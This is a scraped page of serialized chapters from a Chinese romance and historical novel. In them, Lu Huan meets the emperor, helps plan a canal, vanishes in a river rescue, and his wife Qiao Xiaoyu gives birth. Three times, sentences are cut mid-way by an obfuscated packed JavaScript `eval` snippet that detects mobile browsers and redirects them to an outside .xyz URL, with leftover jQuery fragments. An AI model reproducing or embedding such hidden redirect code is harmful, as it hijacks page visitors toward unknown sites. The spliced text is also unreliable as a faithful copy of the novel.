有小孩早早去山涧中摸了鱼和石蚌，放进河边挖好的小水坑里等人来买；乔长田使了村里几个壮汉将山上的松木砍了一些来，在乔小遇和村里木匠的帮助下，做出了简单的路标，指明了村里的果园、药园、书院等处的方向；另有一些小摊呈在路边，蔬果篾织耙锄等物一应俱全，倒像是个小市集了，热热闹闹的。 当然，最忙的还属乔小遇之前所扩建的小舍之地。此前她去朝州请了师傅教自己做了几道时兴又好吃的茶果子，把村里人娴熟在心的几种糯米饼加了些花样，慢慢地照顾到各人的胃口。因为往来踏青野炊的人越来越多，小舍已不单单经营茶点，多的还是炮燔土豆、走地鸡和野兔之类，因为食材都是自己家的，成本不高，竟渐渐地把小舍的生意做得有模有样。有时遇到客商进出货物，或有人送亲远游来不及周转，也会选择在小舍住上一晚。乔小遇估摸着，若来日等书院建成，小舍的情况会越来越好。 109. 勾连运渠 随着隔壁县城拓宽了与通平县的道路，渐渐地，乔家村成了勾连两处县城的一个重要中转地，有了繁荣景象。村里人约定，每隔五天，就在村头设立货物交易的摊位，以方便往来。 陆桓是打算在河岸附近买一片地，回头用作货仓或者商铺的，因为在他的设想中，不出五年，河道疏通到了拖罗河，水运也会跟着发展起来。但当某日午睡他与乔小遇说起这事时，乔小遇却摇了摇头。 小妻子轻轻枕在他臂间，同他问道：“村里人能走出去的人不多，如果在水运发展起来之前，我们就先占了先机，那么其他的人怎么办呢？” 陆桓轻笑出声：“你想着让利于他人？” “我们赚的已经很多了啊。”乔小遇知道他没有怪责的意思，半坐起身来，定定看着陆桓昵声道：“你看啊，等以后书院建起来，我们单是小舍、与书院供给果蔬肉类就能赚不少了，你也常在外走动，这药材、布匹生意有很高的进项，多攒着几年，都要成富绅了，你还不满足吗？” 她说这话时，眼睛亮晶晶的，充满着对未来的期许，就好像幼时自己养在身边的那只小猫一般，与它挠挠痒这小猫就已是一副满足快乐的情态。陆桓喉头一动，将半趴在自己身上的小妻子转了个方向压在身下，开始挠起这可爱又乖顺的“小猫”道：“不满足，为夫哪里满足……” “这大白天的！你真的是……”可是抗议无效，乔小遇的声音终在他覆上的那一刻被堵了回去。 陆桓最终还是听从了妻子的建议，虽然他们生活在俗世里，但没有想法说要将钱、权紧握在手头。走在前面的人，更应当将手间的缝隙打开，凭什么能把所有好处占尽呢。 所以陆桓让乔长田将村里人召集在一处之后，与村民们简单说了这些想法，至于信与不信、能否积攒下这部分资财买地那就是村民们的事了。 没有人想回去过当初的苦日子，村民们渐已懂得早些筹谋总是好的，就好像如今家家户户都挖了菜窖，时常储存一年半载的食物有备无患一样。 八月，广济府。 前一盏茶时，整个城市还被一场大风拉上了雨幕，飘飘洒洒间行人避之不及，这会儿却又放晴了，炙阳仿佛饥渴的孩童般欲将屋脊、石板上的雨水吸吮干净。 陆桓坐在茶楼上远远眺望，看着那一颗颗从屋檐上掉落的雨珠，轻轻摇头，心道：“不若家中小舍前赏的青松雨滴般晶莹剔透……” 他表现得并不算明显的思归愁绪还是被对面的刘畅捕捉到了，对方揶揄问道：“郎君想家了？还是想你夫人了？” 陆桓低笑着饮了一口茶，说道：“我离家出来已有两月，不知家中情况如何……从前她不喜欢家中有仆婢小厮，觉着事事自己都可上手，如今我在外奔忙许久，她一个人怎么忙得过来，你说这妇人不会忙着减人工的成本把自己累着吧？” 一番家常话引得刘畅阵阵失笑。 这刘畅如今年逾四十，官拜漕运司提举，作为陆桓父亲的旧人一直不得重用，后来拜入任连忠幕下后，因治水得力又博闻强记，受到了官家赏识得以升迁，故而在官家南巡的这段日子里，他一直陪同在旁。 原本南巡的路线是没有到广济府这地界的，毕竟湿热难耐，但当刘畅收到陆桓的来信后，便动了心思引官家向南。 一来，南境叛乱刚平息不久，官家南巡也能对当地隐忍不动的望族形成威慑；二来，广济府西流往上便是朝州府一带，若能说动官家勾连运渠水道，自此沿河两岸烟火稠密、物丰人富不说，也能避免纵向水道可能产生的洪涝之灾，这也是陆桓与他信中所道之事。 不过，为了劝官家到此间走一遭，刘畅当时可是行了取巧之道。 在陆桓的授意下，刘畅请了随侍御前的受宠美人学那杨贵妃，在扬州府的时候与官家邀宠去广济府品尝荔枝，宫中的几个常侍又对官家歌功颂德，这才让官家最终动了继续南巡的心思，以宣扬国威。 所谓成事在人，谋事在天，刘畅与陆桓前后好一阵忙活，事情终于有了些眉目。 在陆桓看来，没有哪一个君主在位时不想做出一番功绩的。勾连水道虽有些劳民伤财，但好在军力充沛，国中暂不会发生内忧，且诸府原本就水道通达，但因年久和管理不善才导致堵塞，货船不好通行罢了，如今不行开凿只是疏通，户部和御史台再三考量后不会多说什么。 “哎，依郎君描述，你夫人应当是个做事极有条理又懂得变通的，你如今是忧虑过甚了。再者，事情很快就会有消息了，你再等个两三日也不迟。”刘畅抚须轻笑道。 陆桓颔首，道：“是这个道理。”接着轻轻捋过长袖，与刘畅倒了一杯清茶，“请……” 两人相谈甚悦——无关阵营，只问国运。 而陆桓在听闻刘畅提及官家滞留扬州府时过问海事的消息后，心道勾连运渠之事十有八九能成了，官家甚至还有开海运的想法，暗道：“当初官家之所以选择立赵王做太子，也许也有看重赵王不精于朝政的缘故，如此施以恩威，子不谋逆，朝堂的局势稳固了，官家能在盛年之时尽量去完成自己的千秋之业，待老来退位，可以直接选择立皇长孙继承帝位，而昔日的皇太子也有纯孝之名，追封为帝也无不可……” 陆桓的神思渐渐飘远……而多年之后，他今日所思竟也一一印证。 不过，说回他在广济府时与刘畅会见之后的当晚，陆桓方才更衣准备睡下，未想竟有人敲门来访，“此间住的可是陆桓陆郎君？” 这尖细的嗓音陆桓并不陌生，当下忽觉得后背一凉。是了，应是今日与刘畅阔谈之事暴露了…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924438|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “正是，阁下请稍等。”陆桓缓身套上靴袜，心道为人臣子，不该揣测圣心，他如此是犯忌讳了，可他哪能不去呢……若今日舌灿莲花，逃过一劫，京中人还是少牵扯吧。 陆桓轻吸了口气，才将房门打开，朝门外的金朝侍拱手道：“在下就是陆桓，公公请带路吧。” 金朝侍看着眼前这位挺拔俊秀的郎君，眸间似倒映了万千星光的黑海般深邃又明亮，心中十分赞赏，口中却道：“不怪人说陆郎君有千机之心，不过现下你倒是预估一下此行是福是祸。” 陆桓闻言，收起了所有的谋算，只笑道：“不是祸就行了啊……”好似自己出现在广济府是别无所求的一般。 金朝侍见陆桓松泛下身形，似与一个普通书生无异之后才稍微安心了些，因为他知道如今的官家并不喜欢太锋利的刀，除非这把刀就握在自己手里。如果陆桓认为自己当初选择遁离皇都是正确的选择，那么就应该将锋芒尽敛。 这是陆桓第一次觐见官家。 也许是事先有所防备，所以他那句“草民”的自称确实很贴切，连管家都忍不住先问一句道：“你是此生都心愿安居一隅做个草民莽夫了？”没有给他应是或者不是的机会，官家接着就长叹出了声，道：“起来回话吧。” 陆桓这才提袍起身，站在下首等待垂问。他想过官家会单刀直入，或者更有可能，刘畅也在现场……无他，只因陆桓心知这不是一场简单的垂问，说是“问讯”更合适一些。 “你比你父亲更狡猾一些，你父亲行事如郎朗白日，从无隐匿，而你是怎么养成的这副性情，没有你父亲半点的风骨。”贬损的话却不带贬损的语气，上位者这样的评断实在让人喘不过气。 陆桓依旧保持躬身的姿态，只道：“子不如父罢了。” “当初太子也与朕这般说过，但父知子，朕知道太子有太子的好处，那么你呢，陆桓？”官家看着他恭谨的模样，凝声道：“你父亲若在人世，也知你吗？” 陆桓应道：“回禀圣上，草民的父亲早已故去，草民不想作不成立的假定。但在草民看来，子知父便不会行事罔背伦常，此为孝顺；臣知君便不会倒行逆施，此为忠顺，忠顺之臣比高洁之臣更可贵。草民若是为臣，也是忠顺之臣。” “忠顺之臣比高洁之臣可贵在何处？但见世人追念高洁之臣，忠顺者却寥寥无几。”官家问他道。 陆桓答道：“如屈子投河以死明志为世人敬仰，其君主被指为昏聩无道，而事实上，楚国迟早都会为秦国所灭，屈子为高洁之臣，但他忠之君却不会认为他忠；周公平三监之乱，后归政于王，故去之后世人颂之，君主念之，这就是忠顺之臣。此二臣不是才能高低有别，也非出身贵贱之差，全在于所处所念，世人只因高洁之臣结局往往唏嘘才多扬笔墨罢了。” 110. 吾妻有孕 官家唏嘘道：“你确实如传闻一般，有运筹帷幄之能，巧思诡辩之才……你父亲，是忠臣却非顺臣，因为他不知君。你知君，却不愿为臣，难道是因为君主无道吗？” “圣上平政爱民，草民断非如此作想，还请圣上明察！”陆桓再次行跪，心道思辩不成，不妨作个私心甚重的小人算了，于是接着道：“草民不愿为臣，实在因为草民利己太过，若为臣恐怕也是个贪臣，顺时兴许与国有利，贪时恐背逆纲常礼法为祸一方。圣心可见，若非为了起居处一隅荒山，草民何至于周旋于广济府间，幸好是顺了君意国运，否则真是罪该万死！” 果然，一经威慑，这场垂问变成了问罪。 坐于上位的那人不禁心想，倘若面前的人是陆彰，他说这话时会是一番义正言辞、慷慨激昂，可陆桓君子心，言辞却把自己贬损成了一个彻彻底底的小人。 官家怎会不知陆桓打的什么心思呢？如果他当真是这样一个人，那当初便不会选择将木机之名消隐世间，如今恐怕还在因为他父亲的事情耿耿于怀吧…… 可天子怎能为一个臣子的故去心存悔意呢，只能将这难言的恻隐之心附加在其后辈身上罢了。 人心的猜度，从来都是双向的。 “既然你觉着自己私心大于公德，那日后就不要再成局中人了，朕也不愿看到小人为祸朝纲。”官家瞥了眼陆桓被明黄烛光包裹住的身形，青袍边的阴影铺陈在红木地面上，像极了自己让宫奴在太极宫中开出的那方麦地的土壤颜色…… “天命不知几年，也不知朕晚年时，是否能看见陆彰的孙子步朝堂来觐见呢……至于你，自去你的荒山僻野吧。”官家轻轻拂袖，终究是不与陆桓计较了。 陆桓这才算是全身而退，心道官家已是对自己足够容忍了，当初父亲究竟刚直到了何种程度才招致圣心不悦的呢……陆桓摇了摇头，不再多作思考，而接下来他自然不能继续在广济府滞留了。是以翌日一早，陆桓便收拾行囊离开了此间，甚至都没有与刘畅辞别。 回程时突遇骤雨，陆桓紧赶着到了驿站，就这般听得了来自广济府至西要开凿运河的消息。真是巧得很！ 他低眉浅笑，将橙黄色的苦荞茶汤慢慢啜完，予案桌上放置了两枚铜板，带着斗笠继续驾车上路…… 路过的客商不解，瞧着他的背影唤声劝道：“郎君，这雨虽然小了些，可路上还泥泞着，何不等太阳晒晒再走啊。”却只见陆桓同他摇了摇手鞭，继续驾车向前，道：“妻在远方，忧思许久，我要快些归家才好啊……” 一湾水，水声渐近了；几方田，田间小童放水捉鱼。 走进院中，陆桓便闻见厨房里传来的阵阵食香，引人垂涎。待走近了，便见他那丈母娘在厨房里忙活，嘴上嘟囔着不让他的小妻子进去帮忙，而他的小妻子就扶在门框边委屈地撇着嘴巴，眉眼笑得弯弯的。 “哎哟！快看看是谁回来了！”傅娘子转过身时瞧见姑爷回来，欣喜出声。 乔小遇这才回望过去……错愕的、惊喜的、愉悦的、委屈扥情绪从心腔处爆开，像一股气流般不可抑地从她的眼眶、鼻腔里喷出，乔小遇瞬间湿了眼眶。 这是自成婚后陆桓离家最久的一次，乔小遇觉着自己很不适应。当陆桓将她拥在怀中时，她不自觉地回抱得更紧了…… 陆桓将下巴轻搭在妻子的肩上，温和笑道：“就这么想我？那以后我少外出吧……”没想乔小遇很快地点了点头。 在从前，乔小遇一心勤劳致富，对他的外出看成常规：常规地打点行李，常规地叮嘱，在归家后常规地做好吃的犒劳他……那种常规在陆桓看来便是成家后的温馨日常，他很喜欢。 而这一次乔小遇不常规了，陆桓感受着她委屈的情绪，轻轻抚着妻子的背，安慰道：“这一趟很顺利，没有发生旁的什么，只是在广济府遇到了旧识，请他帮了点小忙，所以才耽搁了。我不是已经往家里寄信了么？你没有看到吗？” 乔小遇摇了摇头，又迅速点了点头，嘤声道：“我看到了……我只是很久没见到你，有些想你了。”陆桓轻润地笑了起来，觉得这样的乔小遇也很可爱。 只有厨房里的丈母娘看着两人这情状，不禁笑着跺了下脚，轻轻摆着那只沾满了面粉的手道：“她这是恼你出门太久啦！你媳妇有身孕了呀，你又不在家……” “娘……”乔小遇挣开陆桓的怀抱，凝眉嗔笑着看向傅娘子。就知道她娘得了好消息是忍不住说的，跟眼下连忙做了糕点请乡亲们品尝沾喜气一样，陆桓一来就立马告知了。 傅娘子眨眼，缩回手脚笑道：“是啦是啦，我不说了，你们小两口去别处耍罢，莫在这里妨碍我。” 陆桓欣喜而迟愣，被羞不住的乔小遇拉着去了后院，然他一连数问，又是自言自语：“你有身孕了？我要当父亲了？我要当父亲了！有多久了？你身子有什么不舒服吗？家里的事往后你少操心吧……” 乔小遇无奈地将手停在陆桓的唇上，笑道：“陆桓，你很聒噪你知不知道？” 陆桓笑意更深了，他将小妻子的手放在手中，缓缓覆上薄唇，嗓音里带着八月底的干燥气息，显得有些嘶哑，“你辛苦了……” “我还好，一直都没什么反应，也没有什么不舒服的。只是有些心慌，我好像都没有做好准备。”乔小遇低眸，轻抚着肚子道：“也不知道他以后乖不乖，我们会不会让他受苦。” 陆桓揽她入怀，道：“我们养的孩子一定很好……” 尽管初次为人父母，但陆桓觉着自己和妻子都会给孩子最大的包容和慈爱，那些他所经历的严苛、她所经历的疏忽都不会发生在这个孩子身上。 当傅娘子把糕点做好之后，陆桓与丈母娘一同上门， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924439|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挨家挨户地与村民们送去。村民们见陆桓回来了，家里又添了喜事，都替小两口高兴。 秋收结束后，乔长田与村里人说了修建运渠的事情。和从前一样，家里能出钱的出钱抵役，没钱的就只能去服役了。 陆桓投军前还有个秀才之名，便被免了徭役，他也是想着如今妻子身体需要照顾，所以整日里不是窝在家，便是陪着妻子去药田或山林边走动走动。 小舍里新请了管账和做糕点的师傅，乔小遇松快不少，陆桓便拿这事唠叨她，道说日后不能再事事亲力亲为，那样只会让自己忙得团团转。乔小遇不理他，顾自算账清楚了盈亏空间，这才彻底放下心来。 不过说回运渠开凿这事，才开头便出现了棘手的问题：官府原定在冬天动工，但负责地形勘察和水性审查的官员道说拖罗河与济水汇合后，水流速度太快，加上地形复杂，一时间还想不出什么好法子去修建。 陆桓去县城采购时有所听闻，回来便挂了心，是以在晚间吃饭时数度看向乔小遇，却又觉着难言。乔小遇敏感地发现了，但陆桓不说，她便不问，倒看看夫君能忍到几时。 因天气转凉，夜里门户窗牖紧闭。乔小遇半夜醒来，有些内急，轻轻拍了拍陆桓的肩想让他扶自己起夜，没想他很快便跟着便侧身过来问道：“怎么了？” “你没睡着？”乔小遇惊讶，责怪道：“什么事能让你揣那么久，为何不与我说呢？” “没什么……我去点灯。”陆桓掀开被子起身，将案上的油灯点亮后，快步去衣箱里拿了件大氅给乔小遇披上，这才扶她朝隔壁的厢房走去。 乔小遇因有孕后经常小遗，家里为了方便就在厢房处置放了一只恭桶。初时她都自己起夜，但陆桓担心她睡外边万一掉下床，让她挪进里头睡，所以每每起夜时总会吵醒陆桓。等月份大了，她起身渐渐困难，索性直接将陆桓唤醒使他扶自己去…… 因为陆桓守在屏风后头等她，所以乔小遇觉得小遗声被人听着有些羞耻，可她也不好意思与陆桓探讨这个话题。 但见陆桓似乎并不觉得有什么，每每将乔小遇扶回床上歇息后，他还会接着把恭桶里的东西倒去茅房，打水冲洗干净后才回来歇下。乔小遇心里有些感动，却也觉着脸上臊得慌，等她慢慢习惯，心里想的却是：“都是夫妻了，别扭什么劲呢？” 那么陆桓呢？都是夫妻了，怎么心里有事却不同自己说？ 乔小遇心头泛起一种奇怪的酸涩味道，是以起身时没当心，脚下踉跄着竟直接朝后面的屏风摔去。陆桓见状反应倒快，一手将妻子扶了稳，另一手则将屏风抵正，防着倒了伤人。他呼吸有些急促，担心地问道：“怎么样？有没有伤到哪？” 惊吓过后，乔小遇抚着心口摇了摇头。感受着下身空凉，她连忙推了推陆桓，小声嘟囔道：“你快出去，我裙带还未系上……” 111. 陆桓身死 陆桓闻言，眸间神色不禁由担忧转为晦暗，沿着光线延伸的方向看去……因为乔小遇大着肚子不方便，陆桓俯身帮她系上结带后，假装神色如常，将人扶回床上。 无论如何熟悉，乔小遇还是对刚才发生的那一幕感到非常尴尬，躺床上后她极力避开陆桓的目光，侧身躺了面向墙边，不发一词。 陆桓给她掖了掖被角，待将恭桶涮洗过回屋后，发现乔小遇依旧没有理自己的意思。他钻进被窝，将手轻轻搭在乔小遇的肚子上，乔小遇直接伸手拿开：“沉，别压着孩子。” 妻子的嗓音低沉，陆桓只得抚着她的手臂，道：“你生气了？那如果我现在同你说，你还愿意听吗？” “你爱说不说。”话一出口，乔小遇便觉着失言，这原不是自己的初衷啊……想了想，她又改说道：“你还是说吧。” 陆桓将运渠地形勘测遇到的问题缓缓道来，抿唇补充道：“昔日我外出游历时，倒是专门察测过南北运渠的水势山貌，如今心里有几个法子，但也要实地见过那河流汇集地的山势水脉才能有结论……到底筹划许久，我不愿看到运渠勾连之工事只能走到半中，无法惠及到朝州府。” “我当什么事……”乔小遇其实才听几句就没忍住转身过来了，看着丈夫脸上认真的神情，笑道：“你有什么好纠结的？你难道舍不得离家，担心我没有人照顾吗？” 见陆桓沉默又冷肃，乔小遇轻抚了他脸庞，忍道：“你总说我闲不下来，那明儿你去牙行买两个得力的回来照顾我不就好了？我就当提前坐月子休息啦，不会让你操心的。再说你这一去，最多不过两三个月，能赶上孩子出世的！” 乔小遇觉着从怀孕后，自己的情绪总会被莫名放大，或许有时真的会让陆桓觉得无措。她温柔地安慰道：“你放心，左右有爹娘帮衬着，有事我会给你带信的。” 陆桓见妻子这样善解人意，叹息着拥她入怀，道：“可一想到要离家这么多久，我担心你会心里没个着落。” 其实陆桓觉着自己才是那个没着落的人，乔小遇怀孕以来的种种辛苦他都看在眼里，近来她在饮食、睡眠上都不那么顺了……想到她偶尔伤感又焦躁的情绪变动，陆桓忍不住问道：“你当真舍得让我离家？” 乔小遇心里不舍，但她从来就不是一个没有决断的人，怎愿瞧着陆桓沉闷凝思，是以颔首道：“舍得的。” 得她这么一句，陆桓心绪实在复杂，“可我却舍不得……”晕黄的灯光下，陆桓将头埋入那片柔软中，带着一种急切的渴望，似乎已经忍耐许久。 “你，别……”乔小遇嘤咛出声，担心道：“会不会弄着孩子？”陆桓从芳草地抬头，笑眼看她道：“我小心一些便是了。小遇，我实在忍不住了……我看你也是喜欢的，对吗？” 乔小遇哪里好意思应他的话，只觉着两人之间的话题总是很跳跃，方才还在说正事，这会子又……话题很多时候都是陆桓主导着，一如当下。 第二日，陆桓问了他丈母娘，才知村里妇人生产往往是左右邻妇帮忙的。“倘若顺利生产便也罢了，就怕有个万一……”陆桓眉心一跳，觉着还是要做足准备的好，是以他从通平县上访了两个专门的稳婆，在他离家后便住去了乔家村照看。 日子已经立春，可天气还冷着，那河水冻得村头农户家养的鸭子都不敢下水。 近来心里焦躁，乔小遇只当是临近产期间所产生的情绪变动，尽力按照嬷嬷的安排合理地滋补身体，喝安胎药，有时在院中走动上几步。 上次陆桓来信道说勘测之事已经完成，官府最后依山势凿出“几”字回弯以降低水流速度，还引了一条支流向北在凹地聚水成湖，不仅降低了勾连运渠在下游造成涝灾的风险，还对北地的稼穑之务起到了重要作用…… 乔小遇觉着，自己甚至能透过这信纸想象陆桓在写这信时脸上的得意表情了，心道也不用再与他写信，用不了多久陆桓便会回来。 可她就这么等呀等的，等到河滩浅处冒出嫩绿的草芽，等到村头那群黑鸭开始吱吱下水，在河里扑棱着、游耍着，却还未等到陆桓回来的消息。 乔小遇不得不请人再送信，但未曾见回，是以她托方管事去几字弯附近帮忙寻陆桓。方管事出自陆苑，曾是盛氏心腹，做事十分妥帖。 人定是好寻的，那位受都水监少监信赖的郎君，听说就是他想出的挖渠疏水之法……也是怪着太好寻人，方管事才到当地打听，劳役们就知道他寻的是谁了，“你找的应当是那位姓陆的郎君了……哎，天不行好事啊，你来这找不到人啦。” 方管事心道自家郎君此番来勘测水势以助官府，非属官、非劳役，事过不留名东家都没有放在心上，这好生生的一个大活人怎么就说找不到了呢？ “都怪炸山时那火工没有将炸药位置放对，导致刚砌起来的一处河堤受震裂开，我们人都吓疯了，等回头一看竟有三五人掉进了那大河里，直接被河水冲了下去！” 方管事心焦着，但听众人七嘴八舌说完，双眼径直一黑！ “什么？你是说我们东家坠河了？”苍天啊，这可怎么办才好，主母怎么受得这样的打击？方管事惊恸万分，想到乔小遇不日便要生产，如今却逢这样的悲事，怕是要生出几分惊险来。 众人见这位来寻人的中年男子边听着腿不自觉便发了软，已有几分站不稳了，紧忙扶住并补充道：“都怪我们话说一半了。那位陆郎君当时在水道下游的工事船上监工呢，瞧得此事突发，紧忙命人将船上的木头丢入水中进行搭救，与附近百姓有几个水性好的百姓跳河救人去了……” “只一个被水冲得老远，似乎还呛水了，那陆郎君便朝那个方向游去……眨眼间，这山势遮挡，竟是瞧不见两人身形了！” 这难道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924440|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么好消息吗？方管事又气又急，忙问道：“那人呢？官府难道就没有派人去找吗？” 众人想起前两日从济水下游传来的消息，虽不知内容真假，可官府严禁向外透露，且眼前这方管事急作一团，哪里还敢多说旁的激着人？当下才反应过来此事需得官府出面，忙道：“找是肯定找了的，可如今……哎，我们还是引你去找都水丞吧，没准有消息了呢。” “是……是了，是了，还得找上面的人。”方管事艰难地站起来身来，强撑镇定地道。 然而，当他见到于百忙之中抽身见自己的都水丞时，得到的消息与宣告死亡无异。 原是那个被河水冲走的人的尸身已在下游被找到，家属闻丧悲痛欲绝，而陆桓估计也凶多吉少……因为隐了来历，所以官府无法找到家属告知消息，直到他们等到方管事的到来。 “陆郎君见义勇为，本官十分感念，可也许天妒英才……这些恤赏，烦请您将它带回家去告知家属，准备后事吧。”都水丞轻轻摆手，并道：“依少监令，官府将会在几字弯附近建一座半山亭，以让后人缅怀。” “我领什么恤赏！你们建什么亭子！我要你们建了吗？莫不是在咒我们郎君？我们郎君出自……我们郎君是那样一个厉害人物，怎么可能就死了？”方管事疾言厉色，忍不住出言冲撞。 然他身体挣脱不住地朝着这都水丞怒吼几句罢后，见对方没有半分责怪，目中尽是惋惜之色，方又颤颤巍巍地向后倒了几步，接着蹲在地上恸哭起来！ “郎君年纪轻轻的，怎么就会去了呢？老爷夫人，是方某人对不住你们啊！若是有那阴差绑了小主人，你们可曾看见了呢？” 见方管事涕泗横流，都水监叹息道：“请节哀……” “我节什么哀？”方管事气急，心道自己回去该如何与乔小遇启口啊，难道也说一句“节哀”？此时的他瞳仁剧缩，气道：“无论如何，我活要见人，死要见尸，怎能让我家主母立那衣冠冢！” 方管事扑向都水丞，扯着他的衣服催促道：“你们得赶紧去找，万一我家郎君还活着呢？他身陷敌营虎口也能完好而归，怎么会折在你这不知名的河湾中！你们一定要加派人手去找！” 都水丞心道，他还未问过这方管事有关陆桓的来历，现下一听似有从军之功，不禁眼皮一跳，正欲相问，但听方管事恍惚着叹道：“我怎生糊涂，你们不曾听过郎君生平事，如何知道他是一个怎样惊才绝艳的人物？” 他如何不曾见识过？都水丞想说他见过陆桓不辞辛劳，亲自登高勘测，水文地理信手拈来，侃侃而谈间气度非凡，绝非那纸上谈兵之辈！他惋惜道：“少监已经下令寻找了，可事情已经过去月余……” “没有消息不就代表着还有希望？”方管事眼中露出一丝希冀，请求道：“他的父亲可是闻名天下的陆公啊，你们怎能不多费心？” 112. 石麟降世 倘若因为隐了生平和来处，都水监上下当陆桓是高人世出，如今听得陆公之名，怎会不知道事情的严重性…… “你说什么？他是陆公之子？本官就说，如此心怀高义之辈，怎会籍籍无名！”都水丞心中激荡之余，又生出无限感伤来：这么长时间过去了，依旧没有消息，陆桓恐怕已经凶多吉少。 都水丞心中纵有千般不忍，如今也没什么好法子，只连忙道：“您快起来，寻人这边本官会加派人手的。”一边好生抚慰方管事，一边遣下属将个中情状告知少监…… 如果他没记错，上官少监也曾是陆公的门生。若真的寻不到人……苟生半世，怎无端多一桩憾事矣。 方管事留在原地等了数天，紧张的思绪如蛛网般覆于其面，早将他拉扯得不成人形。他尚且如此，家中等待的主母又当如何？方管事打起精神，在辞别了少监和都水丞后，紧赶慢赶地朝家中奔去。 一路上他左思右想，都不敢将实情与乔小遇说来，便想着扯了个谎说陆桓又被派去了东线勘察水情，并取了少监所赠财帛为信。 乔小遇这会儿躺在小榻上，半边手肘撑在软枕上，疑问道：“只有少监信物，那郎君可留下只言片语？我之前托人带的信呢，他可有收到了？” 方管事笑着解释道：“郎君当时应当已去了济水东线，否则怎会有收到您的信却不回的道理呢？您只管好生养胎罢。老奴原在几字弯处滞留着，但想郎君归家应当不折去那地方，便紧忙收拾行囊回来了，没想郎君还没到哩……想来也用不了几日了，主母好生等着就是了。” 乔小遇轻轻呼气，将心头的不适感按下，但见方管事风尘仆仆，温声道：“方管事一路劳顿，麻烦你走这一遭了，快下去歇息吧。” 方管事觉得心头梗得厉害，完全无法想象回头与乔小遇怎么说这事，而等人离开，乔小遇没忍住流了泪。她将头侧往一旁，对上前安慰的嬷嬷轻轻摆手，顾自用帕子拭去，轻声道：“我没事，我……我只是想他早些归家来。” “您就放心吧，郎君怎么会记不得日子。” 乔小遇闻得此言，哼声道：“他若是忘了也不怎个，我难道还指望他？这人去了东线，怎么就能忘了给家里捎信呢？教人担心至此。” 下头的人面面相觑，也知当下最紧要的还是顾好主母身体，让孩子顺利出生。然她这一胎原诊定了还有十余日才有可能发动的，却在三日后提前到来。 乔小遇没想着生孩子居然是这样的痛楚！ 见着那湿润的巾帕子上沾了血，她有些恐慌，傅娘子坐在床边与她拭汗，口中轻声道：“这孩子急着出世，想必日后是个求上进的，小遇你可等着享福罢。待会稳婆让你发力你再使劲，现下还不到时候啊。” “娘，还要多久啊？”乔小遇轻轻问道，她现下都快觉着脱力了呢。 接生的稳婆一边使人将灶上炖着的参汤端来与乔小遇喝，蓄些力气，一边笑道：“娘子还有好一会呢，别慌，生孩子都是这样的。” 她足足疼了一整天！等晚些时，只瞧得经验老到的稳婆们额头上布满汗珠，一边让她使劲，一边用手在她的腹部有节奏的按压，乔小遇觉着眼前的景象都有些迷蒙了，屋内明黄的烛光急剧跃动着，似乎也为她腹中的孩子焦急…… 她抓着傅娘子的手掌，仿佛抓着一根救命稻草般，“娘，您帮我看看……看看孩子快出来了么？” “快了快了，坚持住啊，这关闯过了就好了！”就算是过来人，看着眼前景象傅娘子也觉着心口被揪作一团。 乔小遇嘶吼的声音里是急切与痛楚交织，她接着问道：“娘，陆桓回来了么？” 这……傅娘子摇头不答，乔小遇见状缓缓地闭上了眼。在这样的关头，她终究生出了莫大的勇气，正因陆桓不在，她更要珍重自己。 伴随着最后一次用力，婴儿的哭声终于响起，初时微弱呜咽，却在须臾间变得清脆激昂，如同山间奔流的大河义无反顾地撞向青石，带着蓬勃向上的生命力，直抵人心！ 乔小遇的眼中不禁浮上一股热泪…… 因为这个孩子的出生，她似乎与这个时空建立了一种更紧密的连接，就好像无论何时她去到这时空之流的渡口，都有了一艘小船等着她、渡她。 乔小遇生了个大胖小子，这可把乔冉安夫妻俩给高兴坏了，逢人便说起他们抱外孙的喜事，而乔小佩甚至想直接住在姐姐家里去了，那样一个面似满月、乖巧动人的小团子，谁见了不喜欢呢，她都舍不得移眼的。 乔小遇心里也是喜欢得紧。孩子出生两天后，便偶尔会睁开眼睛了，虽然这个时候的小家伙并不能看清什么，但见他那双似葡萄般晶莹可爱的眼睛，乔小遇就觉得心里暖呼呼的。 “娘亲给你取个小名儿，就叫小葡萄好不好呀？”乔小遇将孩子抱在臂弯轻轻地摇着，接着道：“你的大名，等你父亲回来给你取吧，好不好？” 听着儿子嘤哼一声，乔小遇笑着在小葡萄的脸颊上亲了一口，道：“哎哟，娘亲就当你答应了哦。” 一旁的傅娘子原还笑着，可等女儿提及陆桓后神情微愣……陆桓怎么还不回来？如今便连她自己，也开始有些拿不定主意，可女儿还在坐月子，傅娘子是万万不愿去提及此事的。 “这个陆桓，怎么女人家需要支撑的时候竟就找不着人了？等回来我定要贬他三分！”傅娘子心道。 